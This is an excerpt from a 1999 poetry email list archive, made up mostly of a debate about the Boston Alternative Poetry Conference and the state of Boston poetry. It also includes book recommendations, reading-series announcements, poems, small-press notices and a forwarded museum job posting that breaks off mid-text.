> *Poetry Conference lay, with a few significant exceptions, with the most featured Boston poets. This is more than, I think, simply the idiosyncrasies or biases of my own taste. I don't even mean to render a judgement necessarily on the "value" of this work. What I found disappointing though was precisely the extent to which a lot of the featured Boston writers, both younger & older, by reason of, for example, their relatively uncomplicated adherence to mimetic and linear discourses, are "alternative" only in the most problematic way--even given the slipperiness of the term. This is particularly evident of course when the New York poets come to town. Whatever the virtues of Bill Corbett's or Gerrit Lansing's work for example--and there are many--there is no one with any clout on the Boston scene about the age of the Language Poets who isn't still working very clearly within the context of Modernist poetics--here, Black Mountain, the predominant influence on the city's "alternative" poetry, didn't really lead to anything but the attempt to find a more "natural" language (Emerson's influence as well?)--& this it seems to me is the most conservative spin one could take on Olson's demand for linguistic reforms. This missing generation of experimentalist writers--so important, it seems to me, to the poetry scenes in NY, LA, SF, & DC--is one of the principal causes of the ambivalencies of Boston poetry. It doesn't help either that Harvard & Boston Universities are so unadventurous--you only have to look at what Bob Perelman's getting tenure at the University of PA has meant to the scene there to see what a catalyzing (or inhibiting) role the universities can play in the cultural life of a city. Which is not to say that there is no alternative to the Bost Alternative--Jack Kimball's EAST VILLAGE anthology suggests that different emphases could have been made--but the absence of, say, Lori Lubeski from the Conference is symptomatic of the general Boston maliase.*

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33. Brian Stefans
Poetry Books 1999
Tue 3 Aug 1999

I wish I had the library here with me to make this "complete" but here's a short list of books that seemed relevant this year:

Dan Farrell, Last Instance
Edmund Berrigan, Disarming Matter
Rodrigo Toscano, Partisans
Ange Mlinko, Matinees
Miles Champion, Facture
Jennifer Moxley, Wrong Life (wrong title??? my memory for these things is terrible and it's not on-line!)
Lee Ann Brown again, Polyverse

And I'll second the Prynne thing -- really a must-have.

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34. Joan Houlihan
Re: Pound and the Bollingen Prize
Tue 3 Aug 1999

Dodie,

"The Bad Seed!" Yes, yes. What a movie. You reminded me I want to see that one again. :-) As far as Plath's 50's style "surface good girlness"--I don't think that was what she was striving to create or maintain at all, at least in her mature years. Even in her college years, there was a terrible sense of "phoniness" that she strove to overcome in her relationships. "The Bell Jar," while not a memoir, still gives insight into some of this striving. The common wisdom about her--that she was a creative daemon who wanted more than anything to stay boxed up in a plaid-pleated skirt and peter-pan collar, presenting a good-girl facade to the world--doesn't gibe with her own letters or reported comments from friends and family. I recently read "Bitter Fame" (Stevenson) and was struck for the first time by her intense and continuous striving to weld together the world of imagination and the world of reality. I believe she was being driven more by a drive to be whole, than a drive to destroy anything. Relationships of all kinds are described very vividly in this biography, and she seemed nearly incapable of having a "dishonest" one--placing a terrible burden on even such mundane activities as having tea with a neighbor. Stevenson gives some very detailed and telling reports of these "social" interactions. Plath is not someone you would want to invite for a little tea and small talk. You gain a lot of sympathy for Ted Hughes from these accounts--I mean, she burned up this man's own poetry, not once but twice. The deterioration of her marriage is one harrowing episode after another, and, like many other people who experience such a personal holocaust, she didn't recover. However, it wasn't for lack of honesty.

One of her lines: "Perfection is terrible, it cannot have children" is a significant comment on her own life. Though, I don't believe this "perfection" she strove for

was the "life of the perfect 50's woman" as you put it. Instead, the perfection sought seems to have been one of a meshed universe, where the emotional reality of the poem and the reality it springs from are one. A terrible perfection indeed.

> *At 7:26 PM +0000 7/30/99, Joan Houlihan wrote:*
> *Without getting into all the psychological implications (and biological and genetic), you could look at Sylvia Plath as an example of someone striving to live "honestly." Her work was a nearly seamless outgrowth of her emotional life. But this is generally not a survivable condition in the "real world." Maybe in the world of saints and such.*
>
> *Joan,*
>
> *This take on Plath's life is contrary to any I've seen before. From what I read she tried to live the life of the perfect 50s woman--emphasis on the word perfect. Much of what I find interesting about her is the tension between the banality of her surface good girlness and the turmoil and upheaval in the work. Honesty in personal relations??? I see her with the stretched smile of Patty MacCormick in The Bad Seed (whom I recently saw interviewed live on stage at the Castro Theater).*
>
> *Dodie*

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35. Michael Franco
Boston 99 or At Play in the Fields oof influence
Tue 3 Aug 1999

RE Jacques comments on the BoPofest....

anyone who had the privilege of experiencing Gerrit Lansing's Sat night reading at the Boston ALT PO FEST heard nothing less than the full breath of what ever it is that Poetry can be: There was new work that moved Gerrit's body of work wonderfully forward into a Future & at the same time turned back to redefine the previous poems from THE HEAVENLY TREE even as he read them. Each vowel each syllable each intake of breath released each Word into a meandering song that rose up into a marvelous chorus of Language....

... it was simply one of the most moving & Masterful readings I have experienced in thirty years. . .

& This was followed by Wiener's rising to read & remarking ryely under his breath:
"its wonderful to see that Mr. Lansing's poetry has continued to develop over the years" [please add good boston accent]
before nailing us with several tender moments of his own

You write:

"What if John Wieners were in a position to exert influence?"

"there is no one with any clout "

"where was Lori Lubeski"

if anything defines the scene here it is a flat rejection of that notion of Clout & influence- we leave the Quest for such clout to the UNIversity boys & girls who are spending their time desperately searching for power and jobs so that they can then influence people with their clout, rather than setting out on the Journey that poetry is.

the rest of us here are simply at home making our work and our lives.

As for the "alternative" terminology it has been tossed around & poked by all of us even Aaron Kiely who coined it & all are aware that it has thorns everywhere.

the fact is that the work being done by those poets and others associated with LIFT or Word of Mouth (a rather broad canvas) here in Boston is Traditional: & the standardized "epiphanal" verse of Ploughshares, Harvard Review, Agni, etal as well as the desperate attempts (I am imagining Mike Myers hyperactive child bouncing at the end of his school-yard tether here), at an equally standardized experimental verse, are nothing more than momentary, and anything BUT traditional.

*****..... Jacque: if I wanted to Read, in your fashion, your work... I could nail it as somebody who had taken a decent look at Jess' TRICKY CAD (c1950's) & not much more... Or I could enjoy the fact of someone taking up that work -to me a Vital task- & seeing again if there is vitality there- seeing if you can do something with it..... I far prefer this reading.

****** "Modernist poetics--here, Black Mountain, the predominant influence on the city's "alternative" poetry, didn't really lead to anything but the attempt to find a more "natural" language (Emerson's influence as well?)--& this it seems to me is the most conservative spin one could take on Olson's demand for linguistic reforms."

You need only to read Torra's GAS STATION & the go to his KEEP WATCHING to understand that this is just not the case (& when his entire trilogy of which GAS STATION is the first is finally out it will again open possibilities that are far from your notion of Conservative. or take Ed Barrett's work as another example or Ange Mlinko's new book

***** there was ten years of Word of Mouth, four of Torra's lift (which not only frequently published Lori Lubeski's work by- the way but devoted a third of an entire issue to her & deservedly). Mlinko's small run of COMPOUND EYE Bouchard's MASS AVE... Corbett's FIRE EXIT before that ,which published Howe, Cooledge, Palmer, Olson, Mayer etc. etc. etc.) or Lansing's' SET the list goes on & on the point is, that for a large number of us it is not a "scene" a school, clout or influence that we are working toward....all of that we can leave to the second tear harvard professors.

we are working simply to Realize our work

what is here is a context & that context ranges from Emerson or Whitman (who spent time here in Somerville!) Dickinson, Olson, Blaser Lansing, Spicer (BPL) Corbett, the Howes, Torra, Gizzi, Mlinko, Gander, Lubeski, Pruitt, Sawyer-Laucanno, Ed Barrett, Bouchard, Lombardo,

this context does not raise and fall on a festival ....

& there were numerous good reads over the weekend by Bouchard, Lansing, Barrett, Gander, Lease...to just throw up a few names & there was good work from NY as well & Scalapino (Ca) & so on & there was a lot of the SOS which is a surprise????

****
a festival is no more or less than a moment.... where we in our time -without authorization- (who is Aaron Kiely..???) - come together & talk & read & eat
on monday we all go back to work.....
some of us go back to school
the rest we can leave to the want-to-be biographers
or to the Chroniclers

there is no "general malaise" in Boston for anyone taking the time to explore what has and continues to be going on here...

what you experience as malaise is our rejection of lame academic short-sighted theorizing that has at its root nothing forwarding but simply the attempt to commodify and authorize. this I find tremendously boring.

_
remember what Olson said

"Let those who use words cheap, who use us cheap
take themselves out of the way
Let them not talk of what is good for the City

or
Mr. Torra:

There is an inward division of selves, among place. Laced tortoise-shelled markings.Each morning the corral of good night's rest. We own more verbs than space, which some say attributes unequal growth and desensitizing effect which activates when the climate is right and too much yeast is added. What this illustrates I know. Wrench expression. Break mask. Ferret underground past.

&so to close: now may we all be united in this strange and inappropriate as we are told Quest. do not but bend bow low sweep as some men and women do walk out beneath a ryder moon in dream and take a broom to the sea. in this life we swim and dream in air. each stroke recurs or recurves in what we call beneath us. calls us to float on. causation forms. geologic foundations or strewn terminals. remain. moraine. we walk amongst. pick a way through. united. rimmed

all best

Michael Franco

PS literally everybody I know has felt deeply the work of John Wieners... editorial /or hiring & firing power or promises of Tenure do not an influence make.....

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36. Irving Weiss
Re: Real Audio fyi
Tue 3 Aug 1999

Maybe you can explain why Real Audio 4 doesn't work. I downloaded it on the site of a URL that was offering sound, and I know the downloading was successful. But since an offering for a purchase of a better Real Audio was displayed next to the freebee, maybe it doesn't work because one is supposed to buy the cost-version?

Irving Weiss

http://members.tripod.com/~sialbach/

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37. Brendan Lorber
LIGHT IN AUGUST at ZINC BAR
Tue 3 Aug 1999

That's right, the Zinc Bar Sunday Night Reading Series will be a little light this August. Are the Zinc Brothers getting lazy? Just the opposite actually. There are five Sundays in August which means, at two poets a night, ten readers altogether. The problem? Only seven or eight poets crazy enough to stick around New York this month. So by skipping a couple of Sundays, we're actually saving one or two poets for the audience.

With the assistance of Ms. Weimerskirch & Mr. Rakotoniaina however, we have more letters in this line-up than in any other. Dig this e-z guide to AUGUST AT THE ZINC BAR and see what we're talking about.

SUNDAY AUGUST 1: reading? I don't think so
SUNDAY AUGUST 8: BILL LUOMA & JULIANA SPAHR
SUNDAY AUGUST 15: DAVID STACK & RACHEL WEIMERSKIRCH
SUNDAY AUGUST 22: JACK KIMBALL reads, NADA GORDON sings & JEAN-CLAUDE
RAKOTONIAINA also sings
SUNDAY AUGUST 29: what part of no reading don't you understand?

Join your hosts Douglas Rothschild & Brendan Lorber here at the Zinc Bar, why don't you. Bill Luoma & Juliana Spahr come to us direct from Dole Street, Honolulu which is the least of many compelling reasons to catch their rare appearance. Jack Kimball & Nada Gordon just jetted in from Tokyo. Jean-Claude Rakotoniaina, from Madagascar, is our bartender, and thus has attended more events at the Zinc Bar than everyone else combined. The issue arises of course, who'll be pouring drinks while Jean-Claude is singing?

Also, be sure to mark your calendars for Sunday September 12 -- the season premiere of the Zinc Bar Sunday Night 1999-2000 series. On that evening we invite audience members & previous readers to exact revenge on the hosts by introducing Brendan & Douglas themselves. If there's time left over, B&D will read their own work.

The Zinc Bar is located in New York at 90 West Houston Street between LaGuardia and Thompson Streets and on the periodic table between cadmium & lead.

The readings begin at 6:37pm and they continue to whirl unstoppable -- like the steel blades of the Zinc's new Cinni fans -- until they decide to call it quits. The Cinni fans augment the air conditioning and replace last week's failed cat-mounted rotors experiment.

There is a $3 donation which goes to the readers & to the veterinarian bills. If you don't have the money you can pay whatever seems okay to you. Just remember that if you pay less that $1.50 the poets might not have cash for the subway &'ll have to follow you around all night.

Need more information or someone to talk to? Call the Zinc Bar Information Crisis Hotline at [redacted] or [redacted]

Please note: No cats were actually injured in the creation of this email or the curation of the Zinc Bar Sunday Night Reading Series.

On behalf of Douglas & everyone at the Zinc Bar I remain steadfastly,
Brendan Lorber.
Good night

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38. Maria Damon

Re: Boston 99

Tue 3 Aug 1999

---

dan bouchard wrote:
>Appendix
>
>Boston Area Poets who read at the BAPC
>
>Michael Franco (Somerville, MA)
>Jacques Debrot (Norton, MA)
>Donna de la Perriere
>Sean Cole
>Barbara Claire Freeman (Harvard prof.)
>Jim Behrle
>Beth Anderson
>Ed Barrett (Cambridge)
>Patrick Doud (Gloucester, MA)
>John Wieners
>Gerrit Lansing (Gloucester, MA)
>Raffael de Gruttola (Newton, MA)
>Aaron Kiely (Northampton, MA)
>Joseph Lease
>Damon Krukowski (Cambridge)
>Daniel Bouchard (Cambridge)
>
>
>Non-Boston Area Poets who read at the BAPC

>
>Andrew Schelling
>C.D. Wright
>Magdalena Zurawski
>Anselm Berrigan,
>Douglas Rothschild
>Brendan Lorber
>Richard Dillon
>Nick Lawrence
>Tina Darragh
>Drew Gardner,
>Chris Stroffolino
>Alan Gilbert
>Peter Ganick,
>Ammiel Alcalay
>Maria Damon
>Anne Waldman
>Leslie Scalapino
>Michael Gizzi
>Kristin Prevallet
>Jack Kimball
>Prageeta Sharma
>Heather Scott Peterson
>David Kirschenbaum
>Kimberly Isaksson
>Ian Wilder
>Lewis Warsh
>P. Inman
>Will Alexander
>Jordan Davis
>Marcella Durand
>Henry Gould
>David Shapiro
>Lyn Hejinian
>Forrest Gander
>

many of us who are listed under "not-Boston" have greater-bosstown roots. Ammiel Alcalay, Lyn Hejinian, Jack Kimball, Andrew Schelling and I all either grew up and/or attended school around there. some of us stayed w/ family, and it was very touching, i thought, to see Lyn H's family (mother, stepfather, sister, nephew) turn out to see her reading.

↑ Index

39. Billy Little
Re: Farm Implements?
Tue 3 Aug 1999

mispelling is moar telling, i'm with will rogers on this 1: never trust a man who onlie gnows how to spell a wurd one weigh.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

40. Jacques Debrot
Re: Boston 99
Tue 3 Aug 1999

This is Bill Corbett being interviewed by Joseph Torra in the Bill Corbett issue of LIFT magazine, April '94:

"This has never been town, Joe, at least in my life here, that's been congenial to alternative, experimental, whatever word you want to put on that kind of poetry. I think Harvard, for instance, has been mainstream. B.U. has been mainstream. This is not to deny the real talent of people who have worked there. It's simply to say, let's face it, the LANGUAGE project took place somewhere else. And this is not a negligible thing. It's not a place that's . . . hospitable to a kind of poetry written in this country to the wider range."

And so on. I was actually surprised by this because I was a looking specifically for a quote of his just now in which I remembered him saying something like everybody interesting eventually leaves Boston, & I find that Corbett, of all people, had already said in essence what I was saying.

Dan Bouchard's, Michael Franco's, & Stephen Ellis's responses to my e-mail are legitimate, however they completely miss the conjectural tone of my remarks & the tentativeness with which I made my assertions. I think it will be clear if you read my post again that I didn't make the kind of derogatory readings that Michael represents me as having made. **In fact I didn't mention anyone specifically** precisely because I didn't want to diss anyone in public--not least because I am very much aware that my own tastes are partial & biased just like everyone else's. Despite his real generosity--both personally, as you'll know if

you've ever been a guest at his home--& intellectually, Michael's characterization is an unfortunate projection on his part & somewhat revealingly overstated given the provocation. In fact, as I conceded in my original post, there **are many kinds of excellencies in poetry**, & adjectives like "alternative" have a way of becoming fetishized. I wanted instead to attempt to account for why there isn't a scene here that *I*fit into--whatever the merits of that scene would be-- so that, far from advocating anything like, what Dan Bouchard calls, "aesthetic cohesion"--I am interested to know the reasons--as Corbett himself says-- for the narrow range of poetries in Boston. My point wasn't that there are too many Michael Francos, but not enough of other kinds of things. Dan's remarks would have been more persuasive if he hadn't come on like a counsel for the defense. But do you really mean, Dan, to assert that there is *no* element of truth in what I was saying?

It is somewhat symptomatic of the scene here that the mildest criticism leads to a circling of the wagons. In addition to Michael's & Dan's very fair, though I believe mistaken remarks, I have unfortunately already received this afternoon 2 obscenity-riddled messages on my answering machine in response to my post. In a small place like this, it is very easy to identify one's own self-interests with the interests of poetry-at-large & to see any demurral at all as dangerous & badly motivated. There is room for disagreement & I would be very interested to hear someone take up Bill Corbett's remarks & interpret them in a more generous light to Boston than I have done.

--jacques

↑ Index

41. Lynn Miller
HERMAN AND THE HERMITS
Tue 3 Aug 1999

WHO IS COMMUNIST, OR: MARXISM IN THE USA

Weak spot: the autobiographical chapter
and the conclusion--/exclusion. Discourse

suspicious of itself, like a would be good guy.
One can be a leninist and for demourning at

the same time. More than anyone, I have sought
to cut through the thick web of forgetfulness.

The fixed view rooted in Civil War in France.
What the Latin American takes from Theology.

This work has learned from the mistakes of
theoreticians, to help cure them of amnesia.

Trotsky's 1905 and Results and Prospects.
Lenin's Two Tactics of Social Democracy.

A contemporary exposition and defence of Engels.
We have parted ways with the theory of Permanent

Revolution, an analysis of Third World dynamics.
For Trotsky the proletariat was the only class

capable of carrying out the social and economic
tasks like land reform and national unification

earlier associated with the radical bourgeoisie.
Look at Russia. No bourgeois revolution happened.

No intermediate capitalist stabilazation developed.
A working-class insurrection installed a State

a few months after the end of feudalism, a State
that degenerated after 1924. There was the feeling

of having reached an impasse at work on an essay
late in 1985 where I was attempting to contaminate

The Fairy Queen with The Peasant War in Germany.
The project unravelled. I had the early Froissart

translated by the generation before Spenser
depicting peasants as savages, rapists, deaf-mutes

and murderers. I was fascinated by the possibility
that there was more to this than false ideology

viz. Rebecca Harding Davis' Life in the Iron Mills.
Her "light-bringer." The spectrum. Beyond good and evil.

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42. Todd Baron /*/ ReMap Readers
needs

Tue 3 Aug 1999

---

dear list:
rodrigo toscano's e-mail address--I lost it!
Need it! Got it? Earn big dollars!
POetry Scam! Contest! Yse your words
to sell your language!

backchannel for Rodrigo pls.
Others, continue the hard work!

Todd Baron
Remap <Mag.

↑ Index

43. krupoetry
Fw: Squawk
Wed 4 Aug 1999

One-time only appearance...SQUAWK COFFEEHOUSE, Thurs. Aug. 5, 9PM *Fire Of Prometheus...banned in Cambridge since 1989 for "entertainment of no socially redeeming value."

Reply to: [redacted]

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44. Julie Johnson
ATTN Small Press Publishers
Wed 4 Aug 1999

(my apologies to anyone who receives this twice)

For better or worse, Duration Press & Duration online is, hopefully, ready to launch its new Small Press Publications Announcements Page.Hopefully this is something can I can make run as smoothly as possible, & for as long as possible. If you would like your new (or recent—I figure anything published within the past few months is fair game) publications listed, please send me, in the body of an e-mail, the following information (in this order, please, please, please):

Publisher Name
Title(s) information
Ordering information
Publisher contact information, including e-mail address, mailing address, website (if applicable)

For title blurbs, please keep them to a reasonable length.

How it will all work:

This list will be a single page at the Duration Press site (http://members.xoom.com/Duration/durationhome.html (soon to be durationpress.com)) & will be updated every two weeks. The deadline for new lists, as they appear, will be every other Friday at midnight Pacific time. The new list will be posted every other Saturday night. As such, I will be collecting

information from publishers during that two week period. As each new list is posted, the old one will be added to a dated archive. So, in a sense, this will be a way to construct a bibliography in process of Small Press Publications. Perhaps, in the future, I will start to work on a bibliography for Small Press Publications starting in 1980 (beginning where Steven Clay's _A Secret Location on the Lower East Side left off)...so everyone be prepared to dig through your piles of books. But that won't be for a while...depends on how crazy I want to make myself.

I am going to be collecting material for the first list for the next week & a half, with the first list being posted on August 14th, so if anyone knows anyone who may want their publications listed, please pass along this info to them.

Anyway, I do hope that everyone out there will be willing to participate on a regular basis, & I am sure that new presses will be added continually. We will just have to see how it all goes.

All my best,

Jerrold Shiroma
Duration Press

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45. Dominic Fox
Trivial anagrammatic exercise
Wed 4 Aug 1999

This is a poem about language
(august, hospitable egomania):
a beauteous, gloating mishap.

"Manageable utopia sought." Is
this a poem? Language is about
tautologies, an "I AM" bush. Page

gaps. The ambitious analogue.
Stage phobia, mutual agonies:
"Situation Omega! Plague!" (Bash!)

An ultimate big oesophagus, a
biasing gaol-house. Amputate
sub-human. Apologise. Agitate.

I, alphabet - I, nauseous maggot,
inestimable - oughta go up as a
gaseous, glum ape-habitation.

* * *

(produced with the assistance of W. Tunstall-Pedoe's
SUPERGRAM anagram generator for the Acorn Archimedes)

Do You Yahoo!?
Free instant messaging and more at http://messenger.yahoo.com

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46. Diane Wald
more on BAPC
Wed 4 Aug 1999

I am glad to read yesterday's responses to Jacques Debrot's comments on the Boston Alternative Poetry Conference. Here is another one that didn't get out in time.

While I do understand that a thing really OUGHT to be what it calls itself, the issue of whether participants (local or not) in the conference were "alternative" enough, depends, of course, on how we define "alternative." Aaron Kiely, the conference's creator and guiding spirit, addressed this very issue in his closing remarks. I will not presume to quote him directly here, but my sense was that he too was questioning the word "alternative" in the conference title, and wanted to assure everyone that participants were, to his mind, not "alternative" as in "other", but simply vibrant writers, devoted to a variety of approaches, who are writing in the NOW. That is a paraphrase to be sure. To separate the individual words of the conference's title (Were the writers alternative? Were they truly "Boston"? Was all of it poetry?) seems to me to cloud the reality of that gathering of writers of poetry and fans of poetry--poetry in all its living incarnations.

I think that what was "alternative" was the incredible SPIRIT of the conference, much of which was inspired by Mr. Kiely, a young poet who has managed, two years in a row, on astonishing good will and a budget as small as a sand flea, to entice writers of both reputation and promise and listeners of a discerning and appreciative consciousness to come together and celebrate the work itself and the self-generating community that formed almost effortlessly for those three marathon reading days. This overarching spirit WAS the weekend--instead of the sometimes daunting (or at best irritating) academic/poetic/competitive barriers that conferences--and even individual literary events--often produce.

All I am saying is that if the word "alternative" is a problem, it is (oh no!!) ONLY A WORD. When something this good happens, I'm amazed to see anyone focus on a small negatives. I'm sure there was no deliberate false advertising to those who truly seek alternatives. Perhaps what's needed is a conference title that embraces the "radiant pluralism" that David Shapiro spoke of in his

fascinating and entertaining talk. "The Boston Pluralistic Poetry Conference" might be closer to what happened. Or maybe the Alternative Boston Poetry Conference--meaning an alternative type of conference--one that would embrace many "types" of poetry.

I do understand that those who wanted every reader to be as "alternative" as, say, Wendy Kramer and her wonderful corrugated love poems, might have been sometimes disappointed. But personally I would welcome more alternative/pluralistic/open-minded/inclusive poetry events at any time, anywhere.

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47. Pierre Joris

Fwd: [Articles: Top Iraqi poet al-Bayati dies in Syria]

Wed 4 Aug 1999

Thought this wld interest thelist -- al-Bayati was indeed a major figure in modern Arabic poetry -- Pierre

_____ Get your own FREE, personal Netscape WebMail account today at http://webmail.netscape.com.

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48. dbkk

Re: Boston 99

Wed 4 Aug 1999

Dear Jacques Debrot, congratulations on posing so many complicated questions all in one post and for provoking all of us into thinking about so many different issues. I can't respond very fully to any of your points but can speak only briefly now. Daniel Bouchard has wisely printed a list of Boston poets attending said Conference and a second list of poets from elsewhere that also attended, made it concrete and plain, and frankly speaking as an outsider I wonder how the New York poets in attendance come off as so much more sophisticated and/or accomplished and/or experimental than the Boston ones. Please clarify.

In the matter of a "missing generation" doesn't Boston have a very good parallel in the case of Vancouver where, just as you claim happened in Boston, most of the older poets "with clout" were working in "adherence to mimetic and linear discourses," "clearly within the context of Modernist poetics." And then despite the missingness, the absence of the important generation, Vancouver yet transformed itself into a veritable capital of Language writing. Perhaps in

searching for reasons for the "ambivalencies" of Boston poetry you are looking too hard for something that's NOT not there.

I'm also not sure what role Lori Lubeski is playing in your argument, is she an example of an important (perhaps older?) (or younger?) experimental voice ignored or squelched or "disappeared" by organizers of Conference?

I know it's difficult in a public space to bring up these issues, particularly of malaise. So, good for you. But isn't poetry everywhere, at every time, in malaise and must continually be recuperated and rescued? Are you a Bostonian yourself? You should come to San Francisco where, despite the presence among us of even the missing generation, six or seven or eight generations are all working at once and still feeling a little hung over and millennial right now.

Kevin Killian
San Francisco, CA

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49. Charles Bernstein
new EBR & other URLs (announcements)
Wed 4 Aug 1999

A section from Tan Lin's "Ambient Stylistics" is up at the Boston Book Review site, with my own short introduction to Tan Lin's work:

http://bostonreview.mit.edu/BR24.2/lin.html

*

Kenny Goldsmith recently announced new sounds and sights at his extraordinary and resourceful Ubuweb (http://www.ubuweb.com/), including a new piece by my son Felix, who's 7 (http://www.ubuweb.com/contemp/bernstein_f/bernstein_f3.html). He has also put up a new version of "Alphabetica" , an HTML work of mine from a few years back (http://www.ubuweb.com/contemp/bernstein/alphabeta.html).

*

I highly recommend EBR #9 and so am passing on the announcement for this issue.

Charles Bernstein
http://epc.buffalo.edu/authors/bernstein/

(fwrd:)

The new issue of the electronic book review, a "gathering of threads" from the first three years of publication, is now online at

http://www.altx.com/ebr/ebr9

continuing its commitment to hypertextual publication in its construction as well as in its content, with this issue the editors introduce an icon designed by Anne Burdick that will link new essays back to earlier issues. working against (without subverting) the periodic nature of journal publication, the thREADing icon allows readers to move around past issues as easily as they can read in a new issue.

essays by:
stephanie strickland
lorn falk
andrew blauvelt
kassia fleisher
and paul harris on harry mathews

reviews of avant criticism by Katherine Hayles, Marjorie Perloff, Peter Sloterdijk, Jay David Bolter and Richard Grusin, Curtis White, Randall Kenan, and the Oulipo.

plus a critical history of the french journal, 'alire,' and a new series of poems in French from Raymond Federman.

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50. daniel bouchard
Re: Boston 99
Wed 4 Aug 1999

At 08:19 PM 8/3/99 EDT, Jacque Debrot wrote:
>Dan's remarks would have been more persuasive if he hadn't come on
>like a counsel for the defense. But do you really mean, Dan, to assert that
>there is *no* element of truth in what I was saying?

Elements of truth perhaps. Many instances though flat wrong--an uninfluential Wieners for example. And though I believe you when you say you did not mean to badmouth specific people, some people are bound to read it that way.

Anyway, Boston is certainly not San Francisco or NYC in terms of poetry community. No one in Boston would try and claim otherwise. However, I think you overestimate NYC. For sheer numbers of poets, yes it's bigger (and bigger is probably better only if it's diverse. Is it diverse? Fourth-generation NY school all sounds the same after two pages, and second-rate Language poetry is worse.)

Boston is certainly on the same field as San Diego, LA, or DC, even if the traditions being worked in Boston are not ones you particularly care for. But

this is a tally-sheet I don't care to keep. It's a hindrance. Personally, my most vital community of poets begins in Honolulu and reaches to Cambridge, UK. You can map it but it doesn't matter. Alas, we do not meet for drinks often.

My disagreement with your first two posts on the subject were more about your ideas of how community works, at least here, which is the one I am involved in. But again, this is "my" disagreement. I am not presuming to speak for any other poet in Boston.

The counsel for defense tone I cannot help. Rather, I prefer it, considering the limitations of an e-mail forum. I certainly couldn't speak in person in the list-mode I wrote yesterday. Despite this, a in-person discussion would be more affable to me, even if it deprives 600 voyeurs a glimpse Boston's laundry sack.

The phone calls you describe receiving at home are regretful. I support you in calling the callers back and telling them to shove it, but as you wrote me back-channel one did not identify him/herself. It makes this city look like Peyton Place! But I suppose smallness is a tradition not limited to Boston. And I know anecdotes to prove this but am sworn, as they say, to secrecy.

I am signing off on this subject unless new material arises.

- db

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

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51. Brian Stefans
Boston Poetry
Wed 4 Aug 1999

It seems to me Jacques was suggesting not that Wieners isn't in the hearts and minds of many poets in Boston, or that Lansing wasn't able to put across some compelling poetry, but that there doesn't seem to be a sense of mission or "progress" in the group of younger poets, and that this can be attributable to the indifference of these poets to thinking about or through these issues along with creating their work. "Exerting influence" is more than just being alive and

being read, but at least in Jacques' sense also means circulating ideas, either in prose or in person. Also, Poetry as balm for the soul or as freeway to transcendance are constructs that has been quite tortuously deconstructed or at least debated elsewhere in the States (often enough in the context of the "local") but which, he suggests, hasn't been dealt with at all for or in Boston. I'm interested in knowing if this anti- or counter-humanist discourse never took root in Boston partly as a result of class issues -- the "other" big 20th century poets we think of as Bostonians, such as Amy Lowell, John Wheelright, and Robert Lowell, are all from the upper classes, which I tend to think have a liberal bent there? -- but also because of perhaps a neglect of European influence (or a lack of Europeans), or a too strong identity as the source of American philosophy, or what? I agree with Dan that the inny and outy aspect of Jacques post was a bit too boldly (as in exaggeratedly, but also daringly) drawn, but if you want to think of Boston as an entity in American poetics it seems a place to start.

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52. Hank Lazer

Modern and Contemporary Poetics Series

Wed 4 Aug 1999

Some good news from yesterday's University of Alabama Press Board meeting. Two books accepted for publication, both to be part of the Spring 2000 book list:

1. Loss Glazier's Digital Poetics: Hypertext, Visual/Kinetic Text, and Writing in Programmable Media.

2. a paperback edition of Nathaniel Mackey's Discrepant Engagement: Dissonance, Cross-Culturality, and Experimental Writing.

And for those of you still looking for a usable collection of essays for Fall classes, you might consider Christopher Beach's (ed.) An Anthology of New Poetics ($19.95 paper), which includes essays by Antin, Armantrout, Bernstein, Damon, Davidson, DuPlessis, Hejinian, S. Howe, Lazer, Mackey, McCaffery, Perelman, Perloff, Scalapino, Sherry, Silliman, Taggart, and Watten.

For more info, go to www.uapress.ua.edu

Hank Lazer

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53. A H Bramhall
Promenadfe Left
Wed 4 Aug 1999

this year's Socialites won the coin, were given the ball and they were off. success was everywhere, that grandiose cataclysm that says HEY, CHECK IT OUT I HAVE MARBLES. (as I write these words I realize that I don't, poor me: the distraught faction at work).

the Socialites were fried by the end of events, they looked googolplexed, as timeless as last year's vacation. BUT IT IS THIS YEAR, they were all able to murmur loudly. those words explained everything, and not a moment too soon. the social diseases were ambitiously described and brought into perspective. frankly, some people are half-hearted and some are assholes (excuse the rubric, language can't begin to say enough).

as social as the Socialites could be, they learned that foundering can be an explicitly fruitful part of the experiment, as in yelling I AM FOUNDERING IN THE DIUNAL MAKEUP OF THIS LIFE while, you know, doing something rather more important (leave it to what you think your imagination can handle, just like any authority).

the Socialitism that has saved our world extends it, the world that is, by accepting a vastness of parametres. that means there is a mathematical insistence in our boundaries, which certainly can make one sleep well, at night or whenever. the Socialites had a long way to go and decorum to maintain, so their invention of language took some time, but when that time was finally taken, the shakedown began in earnest (resistance is a fabrication made oily by a steady look into the nearest Socialite's eye).

the futility became more than marginal, after all, because the Socialites were steamed about their place in the world. that should not happen. everything is wonderful, just check the reports, so mistakes cannot happen. it's a matter of going to Boston or some damn place and saying HEY WHAT'S THE HANDLE OF THIS THING?, when by thing I mean some item in the energy field enclosing my thoughts without begrudging my time/space occupation and so forth. (okay, I get confused when the discussion appropriates what seemed an original arrangement then went to town, any town).

fiercely dedicated, the Socialites grew into becoming. that's the shameful thing, the steady, uphill, where's-my-place-in-society THRUST, as if gasping out of water were a fish's right (something that one might have trouble deciding).

the Socialites have felt the pressure, damn it, and the margin seems more alluring than ever, like the ocean when its piquancy nearly quivers in your grasp. I'm thinking that, well, as with all things, time and hang up are just

about the same, and all the leftovers can easily be put aside (pardon me for interrupting).

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54. Maria Damon

fwd: Re: We have the following two job openings

Wed 4 Aug 1999

At 3:57 PM -0500 8/4/99, Ramona Santti wrote:
>Seattle Art Museum
>
>Controller
>
>Supervise six person accounting department. Coordinate production of monthly
>financial statements and annual audited statements. Work directly with
>museum departments to improve revenue/expense management. Prepare financial
>reports for government and foundation grants. Requires excellent
>accounting, communication, supervisory skills; Bachelor's degree in
>accounting or business administration; three or more years of supervisory
>experience in accounting. Salary to $55k. Reports to CFO. Mail or fax
>required application (Call receptionist for appl: [redacted]), cover
>letter, and resume to: Recruiting, Seattle Art Museum, P.O. Box 22000,
>Seattle, WA 98122-9700. Deadline: August 20th.
>
>
>
>Accounting Analyst
>
>Prepare special purpose financial reports for grants and projects. Perform
>complex reconciliations. Develop procedures and systems utilizing
>spreadsheets, databases, and fund accounting software. Requires excellent
